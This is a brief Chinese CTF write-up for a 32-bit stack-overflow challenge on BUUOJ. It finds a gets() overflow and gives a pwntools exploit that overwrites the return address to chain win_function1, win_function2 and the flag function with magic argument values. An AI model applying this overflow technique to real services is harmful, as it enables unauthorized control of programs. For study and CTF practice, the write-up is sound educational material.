照例checksec
32位 只开了nx 查看ida
查看main顺进去看
get()栈溢出
直接 有个flag,开冲!!!!
初步看,满足win1 && win2 && a1 == -559039827 我们就能得到flag了
进入到win_function1()
直接跳转即可
接下来是win_function2()
也是满足条件即可
接下来直接构造exp即可。
from pwn import *
context(log_level='debug')
io=remote('node4.buuoj.cn',27256)
flag=0x804862B
win1=0x80485CB
win2=0x80485D8
a11=0xBAAAAAAD
a12=0xDEADBAAD
io.recvuntil('>')
payload='a'*(0x18+4)+p32(win1)+p32(win2)+p32(flag)+p32(a11)+p32(a12)
io.sendline(payload)
io.interactive()
说说a11,a12
选定右键选择Hexadecimal
flag: